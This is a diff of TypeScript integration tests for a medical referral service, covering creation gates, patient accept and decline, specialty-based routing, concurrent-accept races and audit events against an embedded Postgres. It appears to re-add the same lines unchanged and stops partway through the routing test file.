- const accepted = await acceptReferral(app, patient, referralId, slots[0]); - expect(accepted.status).toBe(200); - expect(accepted.body.status).toBe('accepted'); - expect(accepted.body.resultingAppointmentId).toBeTruthy(); - expect(accepted.body.snapshotNotes).toBe('Snapshot to survive acceptance.'); - - const appointment = await prisma.appointment.findUniqueOrThrow({ - where: { id: accepted.body.resultingAppointmentId }, - }); - expect(appointment.origin).toBe('referral'); - expect(appointment.referralId).toBe(referralId); - expect(appointment.doctorProfileId).toBe(doctorB.profileId); - expect(appointment.patientProfileId).toBe(patient.profileId); - }); - - it('rejects accepting with a slot that is not the target doctor’s', async () => { - const { consultationId } = await consultationRitual(app, patient, doctorA); - const created = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'notes', - }); - const foreignSlots = await generateSlots(app, doctorA, 1); - const res = await acceptReferral(app, patient, created.body.id, foreignSlots[0]); - expect(res.status).toBe(409); - }); - - it('refuses an accept whose slot was already booked, and leaves the referral pending', async () => { - const { consultationId } = await consultationRitual(app, patient, doctorA); - const created = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'Slot taken first.', - }); - expect(created.status).toBe(201); - const referralId = created.body.id as string; - - // Another booking took this slot first. Setup only: the accept below must - // go through claimOpenSlot and refuse it, not write an appointment itself. - const [slotId] = await generateSlots(app, doctorB, 1); - await prisma.availabilitySlot.update({ where: { id: slotId }, data: { status: 'booked' } }); - - const res = await acceptReferral(app, patient, referralId, slotId); - expect(res.status).toBe(409); - - const referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); - expect(referral.status).toBe('pending'); - expect(referral.resultingAppointmentId).toBeNull(); - expect(await prisma.appointment.count({ where: { referralId } })).toBe(0); - }); - - it('rejects accept by the wrong patient and double-accept', async () => { - const { consultationId } = await consultationRitual(app, patient, doctorA); - const created = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'notes', - }); - const otherPatient = await makePatient(app, emailedTokens, runId + 1); - const wrongPatient = await acceptReferral(app, otherPatient, created.body.id, 'some-slot'); - expect(wrongPatient.status).toBe(403); - - const slots = await generateSlots(app, doctorB, 2); - const first = await acceptReferral(app, patient, created.body.id, slots[0]); - expect(first.status).toBe(200); - const second = await acceptReferral(app, patient, created.body.id, slots[1]); - expect(second.status).toBe(409); - }); - - // The accept path's concurrency guarantee is the same shape as - // booking's: the conditional `pending β†’ accepted` UPDATE is the only - // thing standing between a referral and two appointments. Proven here - // against a real Postgres with genuinely concurrent requests, the same - // way booking.test.mts proves claimOpenSlot. - it('lets exactly one of 8 concurrent accepts win', async () => { - const { consultationId } = await consultationRitual(app, patient, doctorA); - const created = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'Race me.', - }); - expect(created.status).toBe(201); - const referralId = created.body.id as string; - - // generateSlots returns every open slot for the day; only 8 of them - // are needed (and 24 concurrent transactions would just make the - // assertion noisier, not stronger). - const slots = (await generateSlots(app, doctorB)).slice(0, 8); - const results = await Promise.all( - slots.map((slotId) => acceptReferral(app, patient, referralId, slotId)), - ); - - const winners = results.filter((res) => res.status === 200); - const losers = results.filter((res) => res.status === 409); - expect(winners).toHaveLength(1); - expect(losers).toHaveLength(7); - - const appointments = await prisma.appointment.findMany({ where: { referralId } }); - expect(appointments).toHaveLength(1); - expect(winners[0].body.resultingAppointmentId).toBe(appointments[0].id); - - const referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); - expect(referral.status).toBe('accepted'); - expect(referral.resultingAppointmentId).toBe(appointments[0].id); - - // Every slot a losing accept aimed at must still be open β€” a losing - // accept must not consume calendar. - const slotRows = await prisma.availabilitySlot.findMany({ where: { id: { in: slots } } }); - expect(slotRows.filter((slot) => slot.status === 'booked')).toHaveLength(1); - expect(slotRows.filter((slot) => slot.status === 'open')).toHaveLength(7); - }); - - it('declines a pending referral; decline is pending-only', async () => { - const { consultationId } = await consultationRitual(app, patient, doctorA); - const created = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'notes', - }); - const declined = await request(app) - .post(`/referrals/${created.body.id}/decline`) - .set('Authorization', `Bearer ${patient.accessToken}`); - expect(declined.status).toBe(200); - expect(declined.body.status).toBe('declined'); - - const again = await request(app) - .post(`/referrals/${created.body.id}/decline`) - .set('Authorization', `Bearer ${patient.accessToken}`); - expect(again.status).toBe(409); - }); - - // The patient's accept/decline and the appointment the accept produces - // are state changes on accountable records, so both belong in the audit - // trail (Phase 8, issue #43) β€” the referral accept path used to be the - // one way to create an appointment with no trail at all. Asserted - // against the one AuditEvent table, written by the audit module's - // service, not by the referrals module touching the table. - it('audits the accept: the referral transition and the appointment it booked', async () => { - const { consultationId } = await consultationRitual(app, patient, doctorA); - const created = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'audited snapshot', - }); - expect(created.status).toBe(201); - const referralId = created.body.id as string; - - const slots = await generateSlots(app, doctorB, 2); - const accepted = await acceptReferral(app, patient, referralId, slots[0]); - expect(accepted.status).toBe(200); - const appointmentId = accepted.body.resultingAppointmentId as string; - - const referralEvents = await prisma.auditEvent.findMany({ - where: { entityType: 'Referral', entityId: referralId }, - }); - const acceptedEvent = referralEvents.find((event) => event.action === 'referral.accepted'); - expect(acceptedEvent).toBeDefined(); - expect(acceptedEvent?.fromState).toBe('pending'); - expect(acceptedEvent?.toState).toBe('accepted'); - expect(acceptedEvent?.actorUserId).toBe(patient.userId); - expect(acceptedEvent?.actorRole).toBe('patient'); - - // The appointment the accept booked is audited too, as an - // appointment β€” with `origin: 'referral'`, which is what tells the - // two booking paths apart in the trail. - const appointmentEvents = await prisma.auditEvent.findMany({ - where: { entityType: 'Appointment', entityId: appointmentId }, - }); - const bookedEvent = appointmentEvents.find((event) => event.action === 'appointment.booked'); - expect(bookedEvent).toBeDefined(); - expect(bookedEvent?.toState).toBe('scheduled'); - expect(bookedEvent?.actorUserId).toBe(patient.userId); - expect((bookedEvent?.metadata as { origin?: string } | null)?.origin).toBe('referral'); - }); - - it('audits the decline', async () => { - const { consultationId } = await consultationRitual(app, patient, doctorA); - const created = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'notes', - }); - const declined = await request(app) - .post(`/referrals/${created.body.id}/decline`) - .set('Authorization', `Bearer ${patient.accessToken}`); - expect(declined.status).toBe(200); - - const events = await prisma.auditEvent.findMany({ - where: { entityType: 'Referral', entityId: created.body.id as string }, - }); - const declinedEvent = events.find((event) => event.action === 'referral.declined'); - expect(declinedEvent).toBeDefined(); - expect(declinedEvent?.fromState).toBe('pending'); - expect(declinedEvent?.toState).toBe('declined'); - expect(declinedEvent?.actorUserId).toBe(patient.userId); - }); - - it('lists the patient’s referrals grouped by source consultation', async () => { - const list = await request(app) - .get('/referrals/mine') - .set('Authorization', `Bearer ${patient.accessToken}`); - expect(list.status).toBe(200); - expect(list.body.referrals.length).toBeGreaterThan(0); - const groups = list.body.groupedByConsultation as Record; - expect(Object.keys(groups).length).toBeGreaterThan(0); - }); -}); +// Referral foundation (issues #5/#7 minimal): creation from a +// consultation, snapshot copy, patient accept (books the referral +// appointment) and decline β€” plus the creation-time validation gates. +// Self-contained embedded Postgres on port 5445 (see booking.test.mts +// for the why of that pattern). Every integration file needs its OWN port β€” +// vitest runs them in parallel, and two files on one port means one of them +// fails to start. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; +import { + acceptReferral, + consultationRitual, + createReferral, + generateSlots, + installEmailCapture, + makeDoctor, + makePatient, + makeSpecialty, + resetEmailSenderFixture, +} from './helpers/fixtures.mjs'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5445; +const runId = Date.now(); + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-test-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +describe('referral foundation', () => { + let app: ReturnType; + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + const emailedTokens = new Map(); + let cardiologyId: string; + let endocrinologyId: string; + let doctorA: Awaited>; + let doctorB: Awaited>; + let patient: Awaited>; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + // Must be set before the app module (and its PrismaClient) loads. + process.env.DATABASE_URL = databaseUrl; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + + await installEmailCapture(emailedTokens); + cardiologyId = await makeSpecialty(prisma, `Cardiology ${runId}`); + endocrinologyId = await makeSpecialty(prisma, `Endocrinology ${runId}`); + doctorA = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: cardiologyId }); + doctorB = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: endocrinologyId }); + patient = await makePatient(app, emailedTokens, runId); + }); + + afterAll(async () => { + await resetEmailSenderFixture(); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('creates a referral from a consultation, copying the snapshot', async () => { + const { consultationId } = await consultationRitual(app, patient, doctorA); + + const res = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + targetSpecialtyId: endocrinologyId, + snapshotNotes: 'Persistent palpitations, ECG normal.', + }); + expect(res.status).toBe(201); + expect(res.body.status).toBe('pending'); + expect(res.body.snapshotNotes).toBe('Persistent palpitations, ECG normal.'); + expect(res.body.patientProfileId).toBe(patient.profileId); + expect(res.body.referringDoctorId).toBe(doctorA.profileId); + expect(res.body.targetDoctorId).toBe(doctorB.profileId); + expect(res.body.parentReferralId).toBeNull(); + expect(res.body.loopFlaggedAt).toBeNull(); + }); + + it('rejects referral creation that violates the gates', async () => { + const { consultationId } = await consultationRitual(app, patient, doctorA); + + // unverified target + const unverified = await makeDoctor(app, prisma, emailedTokens, runId + 1); + await prisma.doctorProfile.update({ + where: { id: unverified.profileId }, + data: { verificationStatus: 'pending' }, + }); + const unverifiedRes = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: unverified.profileId, + snapshotNotes: 'notes', + }); + expect(unverifiedRes.status).toBe(422); + + // self-referral + const selfRes = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorA.profileId, + snapshotNotes: 'notes', + }); + expect(selfRes.status).toBe(422); + + // not the referring doctor's own consultation + const foreignRes = await createReferral(app, doctorB, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'notes', + }); + expect(foreignRes.status).toBe(403); + + // missing consultation + const missingRes = await createReferral(app, doctorA, { + sourceConsultationId: '00000000-0000-0000-0000-000000000000', + targetDoctorId: doctorB.profileId, + snapshotNotes: 'notes', + }); + expect(missingRes.status).toBe(404); + }); + + it('rejects a referral from a not-completed appointment', async () => { + const slots = await generateSlots(app, doctorA, 2); + const appointment = await request(app) + .post('/appointments') + .set('Authorization', `Bearer ${patient.accessToken}`) + .send({ availabilitySlotId: slots[1] }); + expect(appointment.status).toBe(201); + // consultation creation itself refuses a non-completed appointment + const consult = await request(app) + .post('/consultations') + .set('Authorization', `Bearer ${doctorA.accessToken}`) + .send({ appointmentId: appointment.body.id, outcome: 'referred' }); + expect(consult.status).toBe(409); + }); + + it('accepts a referral by booking the target doctor’s slot (no re-intake)', async () => { + const { consultationId } = await consultationRitual(app, patient, doctorA); + const created = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'Snapshot to survive acceptance.', + }); + expect(created.status).toBe(201); + const referralId = created.body.id as string; + + const slots = await generateSlots(app, doctorB, 2); + const accepted = await acceptReferral(app, patient, referralId, slots[0]); + expect(accepted.status).toBe(200); + expect(accepted.body.status).toBe('accepted'); + expect(accepted.body.resultingAppointmentId).toBeTruthy(); + expect(accepted.body.snapshotNotes).toBe('Snapshot to survive acceptance.'); + + const appointment = await prisma.appointment.findUniqueOrThrow({ + where: { id: accepted.body.resultingAppointmentId }, + }); + expect(appointment.origin).toBe('referral'); + expect(appointment.referralId).toBe(referralId); + expect(appointment.doctorProfileId).toBe(doctorB.profileId); + expect(appointment.patientProfileId).toBe(patient.profileId); + }); + + it('rejects accepting with a slot that is not the target doctor’s', async () => { + const { consultationId } = await consultationRitual(app, patient, doctorA); + const created = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'notes', + }); + const foreignSlots = await generateSlots(app, doctorA, 1); + const res = await acceptReferral(app, patient, created.body.id, foreignSlots[0]); + expect(res.status).toBe(409); + }); + + it('refuses an accept whose slot was already booked, and leaves the referral pending', async () => { + const { consultationId } = await consultationRitual(app, patient, doctorA); + const created = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'Slot taken first.', + }); + expect(created.status).toBe(201); + const referralId = created.body.id as string; + + // Another booking took this slot first. Setup only: the accept below must + // go through claimOpenSlot and refuse it, not write an appointment itself. + const [slotId] = await generateSlots(app, doctorB, 1); + await prisma.availabilitySlot.update({ where: { id: slotId }, data: { status: 'booked' } }); + + const res = await acceptReferral(app, patient, referralId, slotId); + expect(res.status).toBe(409); + + const referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); + expect(referral.status).toBe('pending'); + expect(referral.resultingAppointmentId).toBeNull(); + expect(await prisma.appointment.count({ where: { referralId } })).toBe(0); + }); + + it('rejects accept by the wrong patient and double-accept', async () => { + const { consultationId } = await consultationRitual(app, patient, doctorA); + const created = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'notes', + }); + const otherPatient = await makePatient(app, emailedTokens, runId + 1); + const wrongPatient = await acceptReferral(app, otherPatient, created.body.id, 'some-slot'); + expect(wrongPatient.status).toBe(403); + + const slots = await generateSlots(app, doctorB, 2); + const first = await acceptReferral(app, patient, created.body.id, slots[0]); + expect(first.status).toBe(200); + const second = await acceptReferral(app, patient, created.body.id, slots[1]); + expect(second.status).toBe(409); + }); + + // The accept path's concurrency guarantee is the same shape as + // booking's: the conditional `pending β†’ accepted` UPDATE is the only + // thing standing between a referral and two appointments. Proven here + // against a real Postgres with genuinely concurrent requests, the same + // way booking.test.mts proves claimOpenSlot. + it('lets exactly one of 8 concurrent accepts win', async () => { + const { consultationId } = await consultationRitual(app, patient, doctorA); + const created = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'Race me.', + }); + expect(created.status).toBe(201); + const referralId = created.body.id as string; + + // generateSlots returns every open slot for the day; only 8 of them + // are needed (and 24 concurrent transactions would just make the + // assertion noisier, not stronger). + const slots = (await generateSlots(app, doctorB)).slice(0, 8); + const results = await Promise.all( + slots.map((slotId) => acceptReferral(app, patient, referralId, slotId)), + ); + + const winners = results.filter((res) => res.status === 200); + const losers = results.filter((res) => res.status === 409); + expect(winners).toHaveLength(1); + expect(losers).toHaveLength(7); + + const appointments = await prisma.appointment.findMany({ where: { referralId } }); + expect(appointments).toHaveLength(1); + expect(winners[0].body.resultingAppointmentId).toBe(appointments[0].id); + + const referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); + expect(referral.status).toBe('accepted'); + expect(referral.resultingAppointmentId).toBe(appointments[0].id); + + // Every slot a losing accept aimed at must still be open β€” a losing + // accept must not consume calendar. + const slotRows = await prisma.availabilitySlot.findMany({ where: { id: { in: slots } } }); + expect(slotRows.filter((slot) => slot.status === 'booked')).toHaveLength(1); + expect(slotRows.filter((slot) => slot.status === 'open')).toHaveLength(7); + }); + + it('declines a pending referral; decline is pending-only', async () => { + const { consultationId } = await consultationRitual(app, patient, doctorA); + const created = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'notes', + }); + const declined = await request(app) + .post(`/referrals/${created.body.id}/decline`) + .set('Authorization', `Bearer ${patient.accessToken}`); + expect(declined.status).toBe(200); + expect(declined.body.status).toBe('declined'); + + const again = await request(app) + .post(`/referrals/${created.body.id}/decline`) + .set('Authorization', `Bearer ${patient.accessToken}`); + expect(again.status).toBe(409); + }); + + // The patient's accept/decline and the appointment the accept produces + // are state changes on accountable records, so both belong in the audit + // trail (Phase 8, issue #43) β€” the referral accept path used to be the + // one way to create an appointment with no trail at all. Asserted + // against the one AuditEvent table, written by the audit module's + // service, not by the referrals module touching the table. + it('audits the accept: the referral transition and the appointment it booked', async () => { + const { consultationId } = await consultationRitual(app, patient, doctorA); + const created = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'audited snapshot', + }); + expect(created.status).toBe(201); + const referralId = created.body.id as string; + + const slots = await generateSlots(app, doctorB, 2); + const accepted = await acceptReferral(app, patient, referralId, slots[0]); + expect(accepted.status).toBe(200); + const appointmentId = accepted.body.resultingAppointmentId as string; + + const referralEvents = await prisma.auditEvent.findMany({ + where: { entityType: 'Referral', entityId: referralId }, + }); + const acceptedEvent = referralEvents.find((event) => event.action === 'referral.accepted'); + expect(acceptedEvent).toBeDefined(); + expect(acceptedEvent?.fromState).toBe('pending'); + expect(acceptedEvent?.toState).toBe('accepted'); + expect(acceptedEvent?.actorUserId).toBe(patient.userId); + expect(acceptedEvent?.actorRole).toBe('patient'); + + // The appointment the accept booked is audited too, as an + // appointment β€” with `origin: 'referral'`, which is what tells the + // two booking paths apart in the trail. + const appointmentEvents = await prisma.auditEvent.findMany({ + where: { entityType: 'Appointment', entityId: appointmentId }, + }); + const bookedEvent = appointmentEvents.find((event) => event.action === 'appointment.booked'); + expect(bookedEvent).toBeDefined(); + expect(bookedEvent?.toState).toBe('scheduled'); + expect(bookedEvent?.actorUserId).toBe(patient.userId); + expect((bookedEvent?.metadata as { origin?: string } | null)?.origin).toBe('referral'); + }); + + it('audits the decline', async () => { + const { consultationId } = await consultationRitual(app, patient, doctorA); + const created = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'notes', + }); + const declined = await request(app) + .post(`/referrals/${created.body.id}/decline`) + .set('Authorization', `Bearer ${patient.accessToken}`); + expect(declined.status).toBe(200); + + const events = await prisma.auditEvent.findMany({ + where: { entityType: 'Referral', entityId: created.body.id as string }, + }); + const declinedEvent = events.find((event) => event.action === 'referral.declined'); + expect(declinedEvent).toBeDefined(); + expect(declinedEvent?.fromState).toBe('pending'); + expect(declinedEvent?.toState).toBe('declined'); + expect(declinedEvent?.actorUserId).toBe(patient.userId); + }); + + it('lists the patient’s referrals grouped by source consultation', async () => { + const list = await request(app) + .get('/referrals/mine') + .set('Authorization', `Bearer ${patient.accessToken}`); + expect(list.status).toBe(200); + expect(list.body.referrals.length).toBeGreaterThan(0); + const groups = list.body.groupedByConsultation as Record; + expect(Object.keys(groups).length).toBeGreaterThan(0); + }); +}); diff --git a/backend/tests/integration/referral-routing.test.mts b/backend/tests/integration/referral-routing.test.mts index 813dde36..9c77c1ad 100644 --- a/backend/tests/integration/referral-routing.test.mts +++ b/backend/tests/integration/referral-routing.test.mts @@ -1,222 +1,222 @@ -// Referral routing without a target doctor (issue #6, docs/adr/0008): -// a specialty-only target is resolved at creation to the least-loaded -// eligible doctor in that specialty; zero eligible doctors fails the -// creation with 422 and writes nothing; the referring doctor, deactivated -// doctors and unverified doctors are never routed to. Self-contained -// embedded Postgres on port 5448 (see booking.test.mts for the pattern β€” -// every integration file needs its OWN port). -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; -import { - consultationRitual, - createReferral, - installEmailCapture, - makeDoctor, - makePatient, - makeSpecialty, - resetEmailSenderFixture, -} from './helpers/fixtures.mjs'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5448; -const runId = Date.now(); - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-test-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -describe('referral routing (specialty only)', () => { - let app: ReturnType; - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - const emailedTokens = new Map(); - - let cardiologyId: string; - let emptySpecialtyId: string; - let selfOnlySpecialtyId: string; - let dualSpecialtyId: string; - let deactivatedSpecialtyId: string; - - let gp: Awaited>; - let cardioA: Awaited>; - let cardioB: Awaited>; - let patient: Awaited>; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - // Must be set before the app module (and its PrismaClient) loads. - process.env.DATABASE_URL = databaseUrl; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - - await installEmailCapture(emailedTokens); - - cardiologyId = await makeSpecialty(prisma, `Cardiology ${runId}`); - emptySpecialtyId = await makeSpecialty(prisma, `Empty ${runId}`); - selfOnlySpecialtyId = await makeSpecialty(prisma, `Self Only ${runId}`); - dualSpecialtyId = await makeSpecialty(prisma, `Dual ${runId}`); - deactivatedSpecialtyId = await makeSpecialty(prisma, `Deactivated ${runId}`); - - gp = await makeDoctor(app, prisma, emailedTokens, runId); - cardioA = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: cardiologyId }); - cardioB = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: cardiologyId }); - patient = await makePatient(app, emailedTokens, runId); - - // A doctor who holds the specialty but was never verified: not a - // routing candidate (PRD FR-3), and the only doctor in - // emptySpecialtyId, so that specialty has zero eligible recipients. - const unverified = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: emptySpecialtyId }); - await prisma.doctorProfile.update({ - where: { id: unverified.profileId }, - data: { verificationStatus: 'pending' }, - }); - - // The only verified doctor in selfOnlySpecialtyId is the GP who will - // try to refer into it β€” self-referral must leave zero candidates. - await prisma.doctorSpecialty.create({ - data: { doctorProfileId: gp.profileId, specialtyId: selfOnlySpecialtyId }, - }); - }); - - afterAll(async () => { - await resetEmailSenderFixture(); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('routes a specialty-only referral to the least-loaded eligible doctor', async () => { - // Load one of the two cardiologists with an explicit referral first, - // so "least loaded" has something to choose between. - const loaded = await consultationRitual(app, patient, gp); - const seeded = await createReferral(app, gp, { - sourceConsultationId: loaded.consultationId, - targetDoctorId: cardioA.profileId, - targetSpecialtyId: cardiologyId, - snapshotNotes: 'Explicit referral to cardio A.', - }); - expect(seeded.status).toBe(201); - - const { consultationId } = await consultationRitual(app, patient, gp); - const routed = await createReferral(app, gp, { - sourceConsultationId: consultationId, - targetSpecialtyId: cardiologyId, - snapshotNotes: 'Needs a cardiologist, any cardiologist.', - }); - - expect(routed.status).toBe(201); - // cardioA already has one active referral (load 1), cardioB has none. - expect(routed.body.targetDoctorId).toBe(cardioB.profileId); - expect(routed.body.targetSpecialtyId).toBe(cardiologyId); - expect(routed.body.status).toBe('pending'); - expect(routed.body.snapshotNotes).toBe('Needs a cardiologist, any cardiologist.'); - expect(routed.body.referringDoctorId).toBe(gp.profileId); - }); - - it('fails 422 and writes nothing when no verified doctor holds the specialty', async () => { - const { consultationId } = await consultationRitual(app, patient, gp); - const before = await prisma.referral.count({ where: { sourceConsultationId: consultationId } }); - - const res = await createReferral(app, gp, { - sourceConsultationId: consultationId, - targetSpecialtyId: emptySpecialtyId, - snapshotNotes: 'Nobody can take this.', - }); - - expect(res.status).toBe(422); - // Machine-readable so the referring doctor's UI can say "no specialist - // available" instead of rendering a generic failure (ADR 0008 Β§4). - expect(res.body.code).toBe('REFERRAL_NO_ELIGIBLE_TARGET'); - expect(res.body.message).toMatch(/no verified doctor/i); - const after = await prisma.referral.count({ where: { sourceConsultationId: consultationId } }); - expect(after).toBe(before); - }); - - it('refuses to route a referral back to the referring doctor', async () => { - const { consultationId } = await consultationRitual(app, patient, gp); - const res = await createReferral(app, gp, { - sourceConsultationId: consultationId, - targetSpecialtyId: selfOnlySpecialtyId, - snapshotNotes: 'This would be a self-referral.', - }); - expect(res.status).toBe(422); - }); - - it('never routes to a doctor whose account is deactivated', async () => { - const active = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: deactivatedSpecialtyId }); - const deactivated = await makeDoctor(app, prisma, emailedTokens, runId, { - specialtyId: deactivatedSpecialtyId, - }); - // Deactivated with no load, i.e. the candidate the rule would - // otherwise prefer: the exclusion has to do the work, not the load. - await prisma.user.update({ - where: { id: deactivated.userId }, - data: { deactivatedAt: new Date() }, - }); - - const { consultationId } = await consultationRitual(app, patient, gp); - const res = await createReferral(app, gp, { - sourceConsultationId: consultationId, - targetSpecialtyId: deactivatedSpecialtyId, - snapshotNotes: 'Route around the inactive account.', - }); - - expect(res.status).toBe(201); - expect(res.body.targetDoctorId).toBe(active.profileId); - }); - - it('never routes a specialty target onto a doctor the same batch named explicitly', async () => { - const doctorBoth = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: dualSpecialtyId }); - const doctorOther = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: dualSpecialtyId }); - - // Load the only real alternative, so a broken exclusion would pick - // the explicitly named doctor (load 0) instead of the loaded one. - const seeded = await consultationRitual(app, patient, gp); - const seededReferral = await createReferral(app, gp, { - sourceConsultationId: seeded.consultationId, - targetDoctorId: doctorOther.profileId, - targetSpecialtyId: dualSpecialtyId, - snapshotNotes: 'Load the alternative.', - }); - expect(seededReferral.status).toBe(201); - - const { consultationId } = await consultationRitual(app, patient, gp); - const res = await request(app) - .post(`/referrals/from-consultation/${consultationId}`) - .set('Authorization', `Bearer ${gp.accessToken}`) - .send({ - targets: [ - { targetSpecialtyId: dualSpecialtyId, snapshotNotes: 'any doctor in this specialty' }, - { targetDoctorId: doctorBoth.profileId, snapshotNotes: 'and specifically this one' }, - ], - }); - - expect(res.status).toBe(201); - expect(res.body).toHaveLength(2); - expect(res.body[0].targetDoctorId).toBe(doctorOther.profileId); - expect(res.body[1].targetDoctorId).toBe(doctorBoth.profileId); - expect(res.body[0].targetDoctorId).not.toBe(res.body[1].targetDoctorId); - }); -}); +// Referral routing without a target doctor (issue #6, docs/adr/0008): +// a specialty-only target is resolved at creation to the least-loaded +// eligible doctor in that specialty; zero eligible doctors fails the +// creation with 422 and writes nothing; the referring doctor, deactivated +// doctors and unverified doctors are never routed to. Self-contained +// embedded Postgres on port 5448 (see booking.test.mts for the pattern β€” +// every integration file needs its OWN port). +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; +import { + consultationRitual, + createReferral, + installEmailCapture, + makeDoctor, + makePatient, + makeSpecialty, + resetEmailSenderFixture, +} from './helpers/fixtures.mjs'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5448; +const runId = Date.now(); + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-test-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +describe('referral routing (specialty only)', () => { + let app: ReturnType; + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + const emailedTokens = new Map(); + + let cardiologyId: string; + let emptySpecialtyId: string; + let selfOnlySpecialtyId: string; + let dualSpecialtyId: string; + let deactivatedSpecialtyId: string; + + let gp: Awaited>; + let cardioA: Awaited>; + let cardioB: Awaited>; + let patient: Awaited>; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + // Must be set before the app module (and its PrismaClient) loads. + process.env.DATABASE_URL = databaseUrl; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + + await installEmailCapture(emailedTokens); + + cardiologyId = await makeSpecialty(prisma, `Cardiology ${runId}`); + emptySpecialtyId = 